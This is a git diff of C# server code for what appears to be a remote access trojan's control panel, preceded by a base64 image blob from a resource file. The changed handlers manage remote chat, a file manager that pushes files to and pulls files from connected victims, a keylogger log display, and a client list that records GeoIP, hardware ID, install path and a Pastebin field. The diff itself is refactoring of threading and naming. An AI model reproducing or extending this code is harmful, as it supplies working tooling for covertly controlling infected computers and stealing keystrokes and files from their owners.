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
gg==
</value>
</data>
</root>

View File

@ -1,6 +1,6 @@
using Server.Forms; using Server.Forms;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Linq; using System.Linq;
@ -14,10 +14,6 @@ namespace Server.Handle_Packet
public class HandleChat public class HandleChat
{ {
public HandleChat(MsgPack unpack_msgpack, Clients client) public HandleChat(MsgPack unpack_msgpack, Clients client)
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID];
if (chat != null) if (chat != null)
@ -33,8 +29,6 @@ namespace Server.Handle_Packet
msgpack.ForcePathObject("Packet").AsString = "chatExit"; msgpack.ForcePathObject("Packet").AsString = "chatExit";
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
} }
}));
}
} }
} }
} }

View File

@ -1,6 +1,6 @@
using Server.Forms; using Server.Forms;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Drawing; using System.Drawing;
using System.IO; using System.IO;
@ -9,22 +9,20 @@ using System.Threading;
using System.Threading.Tasks; using System.Threading.Tasks;
using Server.Helper; using Server.Helper;
using System.Diagnostics; using System.Diagnostics;
using System.Collections.Generic;
using System.Linq;
namespace Server.Handle_Packet namespace Server.Handle_Packet
{ {
public class HandleFileManager public class HandleFileManager
{ {
public void FileManager(Clients client, MsgPack unpack_msgpack) public async void FileManager(Clients client, MsgPack unpack_msgpack)
{ {
try try
{ {
switch (unpack_msgpack.ForcePathObject("Command").AsString) switch (unpack_msgpack.ForcePathObject("Command").AsString)
{ {
case "getDrivers": case "getDrivers":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null) if (FM != null)
@ -47,16 +45,10 @@ namespace Server.Handle_Packet
i += 1; i += 1;
} }
} }
}));
}
break; break;
} }
case "getPath": case "getPath":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null) if (FM != null)
@ -70,93 +62,56 @@ namespace Server.Handle_Packet
{ {
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\"; FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
} }
FM.listView1.BeginUpdate();
//
FM.listView1.Items.Clear(); FM.listView1.Items.Clear();
FM.listView1.Groups.Clear(); FM.listView1.Groups.Clear();
FM.toolStripStatusLabel3.Text = ""; FM.toolStripStatusLabel3.Text = "";
string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
ListViewGroup groupFolder = new ListViewGroup("Folders"); ListViewGroup groupFolder = new ListViewGroup("Folders");
FM.listView1.Groups.Add(groupFolder);
int numFolders = 0;
for (int i = 0; i < _folder.Length; i++)
{
if (_folder[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = _folder[i];
lv.ToolTipText = _folder[i + 1];
lv.Group = groupFolder;
lv.ImageIndex = 0;
FM.listView1.Items.Add(lv);
numFolders += 1;
}
i += 1;
}
string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
ListViewGroup groupFile = new ListViewGroup("Files"); ListViewGroup groupFile = new ListViewGroup("Files");
FM.listView1.Groups.Add(groupFolder);
FM.listView1.Groups.Add(groupFile); FM.listView1.Groups.Add(groupFile);
int numFiles = 0;
for (int i = 0; i < _file.Length; i++) FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray()));
{ FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray()));
if (_file[i].Length > 0) //
{ FM.listView1.Enabled = true;
ListViewItem lv = new ListViewItem(); FM.listView1.EndUpdate();
lv.Text = Path.GetFileName(_file[i]);
lv.ToolTipText = _file[i + 1]; FM.toolStripStatusLabel2.Text = $" Folder[{FM.listView1.Groups[0].Items.Count}] Files[{FM.listView1.Groups[1].Items.Count}]";
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
FM.imageList1.Images.Add(_file[i + 1], im);
lv.ImageKey = _file[i + 1];
lv.Group = groupFile;
lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3])));
FM.listView1.Items.Add(lv);
numFiles += 1;
}
i += 3;
}
FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]";
}
}));
} }
break; break;
} }
case "reqUploadFile": case "reqUploadFile":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(async () =>
{ {
FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString]; FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
if (FD != null) if (FD != null)
{ {
FD.C = client; FD.Client = client;
FD.timer1.Start(); FD.timer1.Start();
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "uploadFile"; msgpack.ForcePathObject("Command").AsString = "uploadFile";
await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName); await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName);
msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName; msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName;
ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
} }
}));
}
break; break;
} }
case "error": case "error":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null) if (FM != null)
{ {
FM.listView1.Enabled = true;
FM.toolStripStatusLabel3.ForeColor = Color.Red;
FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString; FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString;
} }
}));
}
break; break;
} }
@ -164,17 +119,13 @@ namespace Server.Handle_Packet
} }
catch { } catch { }
} }
public void SocketDownload(Clients client, MsgPack unpack_msgpack) public async void SocketDownload(Clients client, MsgPack unpack_msgpack)
{ {
try try
{ {
switch (unpack_msgpack.ForcePathObject("Command").AsString) switch (unpack_msgpack.ForcePathObject("Command").AsString)
{ {
case "pre": case "pre":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
@ -183,21 +134,15 @@ namespace Server.Handle_Packet
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
if (SD != null) if (SD != null)
{ {
SD.C = client; SD.Client = client;
SD.labelfile.Text = Path.GetFileName(file); SD.labelfile.Text = Path.GetFileName(file);
SD.dSize = Convert.ToInt64(size); SD.FileSize = Convert.ToInt64(size);
SD.timer1.Start(); SD.timer1.Start();
} }
}));
}
break; break;
} }
case "save": case "save":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(async () =>
{ {
try try
{ {
@ -213,16 +158,11 @@ namespace Server.Handle_Packet
File.Delete(filename); File.Delete(filename);
await Task.Delay(500); await Task.Delay(500);
} }
await unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)); await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)));
if (SD != null)
{
SD.Close(); SD.Close();
} }
} }
}
catch { } catch { }
}));
}
break; break;
} }
} }
@ -230,5 +170,59 @@ namespace Server.Handle_Packet
} }
catch { } catch { }
} }
private async Task SaveFileAsync(MsgPack unpack_msgpack, string name)
{
await unpack_msgpack.SaveBytesToFile(name);
}
private List<ListViewItem> GetFolders(MsgPack unpack_msgpack, ListViewGroup listViewGroup)
{
string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
List<ListViewItem> lists = new List<ListViewItem>();
int numFolders = 0;
for (int i = 0; i < _folder.Length; i++)
{
if (_folder[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = _folder[i];
lv.ToolTipText = _folder[i + 1];
lv.Group = listViewGroup;
lv.ImageIndex = 0;
lists.Add(lv);
numFolders += 1;
}
i += 1;
}
return lists;
}
private List<ListViewItem> GetFiles(MsgPack unpack_msgpack, ListViewGroup listViewGroup, ImageList imageList1)
{
string[] _files = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
List<ListViewItem> lists = new List<ListViewItem>();
for (int i = 0; i < _files.Length; i++)
{
if (_files[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = Path.GetFileName(_files[i]);
lv.ToolTipText = _files[i + 1];
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_files[i + 2])));
Program.form1.Invoke((MethodInvoker)(() =>
{
imageList1.Images.Add(_files[i + 1], im);
}));
lv.ImageKey = _files[i + 1];
lv.Group = listViewGroup;
lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_files[i + 3])));
lists.Add(lv);
}
i += 3;
}
return lists;
}
} }
} }

View File

@ -1,6 +1,6 @@
using Server.Forms; using Server.Forms;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.Drawing; using System.Drawing;
@ -14,16 +14,12 @@ namespace Server.Handle_Packet
public HandleKeylogger(Clients client, MsgPack unpack_msgpack) public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
{ {
try try
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
if (KL != null) if (KL != null)
{ {
KL.SB.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString());
KL.richTextBox1.Text = KL.SB.ToString(); KL.richTextBox1.Text = KL.Sb.ToString();
KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength; KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength;
KL.richTextBox1.ScrollToCaret(); KL.richTextBox1.ScrollToCaret();
} }
@ -34,8 +30,6 @@ namespace Server.Handle_Packet
msgpack.ForcePathObject("isON").AsString = "false"; msgpack.ForcePathObject("isON").AsString = "false";
client.Send(msgpack.Encode2Bytes()); client.Send(msgpack.Encode2Bytes());
} }
}));
}
} }
catch { } catch { }

View File

@ -1,6 +1,6 @@
using System; using System;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using cGeoIp; using cGeoIp;
using System.Drawing; using System.Drawing;
using System.Windows.Forms; using System.Windows.Forms;
@ -16,11 +16,11 @@ namespace Server.Handle_Packet
{ {
client.LV = new ListViewItem(); client.LV = new ListViewItem();
client.LV.Tag = client; client.LV.Tag = client;
client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]);
string[] ipinf; string[] ipinf;
try try
{ {
ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); ipinf = new cGeoMain().GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
} }
catch { ipinf = new string[] { "?", "?" }; } catch { ipinf = new string[] { "?", "?" }; }
client.LV.SubItems.Add(ipinf[1]); client.LV.SubItems.Add(ipinf[1]);
@ -34,11 +34,6 @@ namespace Server.Handle_Packet
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString; client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
lock (Settings.Listview1Lock) lock (Settings.Listview1Lock)
{ {
Program.form1.listView1.Items.Add(client.LV); Program.form1.listView1.Items.Add(client.LV);
@ -48,11 +43,9 @@ namespace Server.Handle_Packet
if (Properties.Settings.Default.Notification == true) if (Properties.Settings.Default.Notification == true)
{ {
Program.form1.notifyIcon1.BalloonTipText = $@"Connected Program.form1.notifyIcon1.BalloonTipText = $@"Connected
{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}"; {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
Program.form1.notifyIcon1.ShowBalloonTip(100); Program.form1.notifyIcon1.ShowBalloonTip(100);
} }
}));
}
} }
catch { } catch { }
@ -60,14 +53,10 @@ namespace Server.Handle_Packet
{ {
Settings.Online.Add(client); Settings.Online.Add(client);
} }
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
} }
public void Received(Clients client) public void Received(Clients client)
{
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{ {
try try
{ {
@ -76,8 +65,6 @@ namespace Server.Handle_Packet
client.LV.ForeColor = Color.Empty; client.LV.ForeColor = Color.Empty;
} }
catch { } catch { }
}));
}
} }
} }
} }

View File

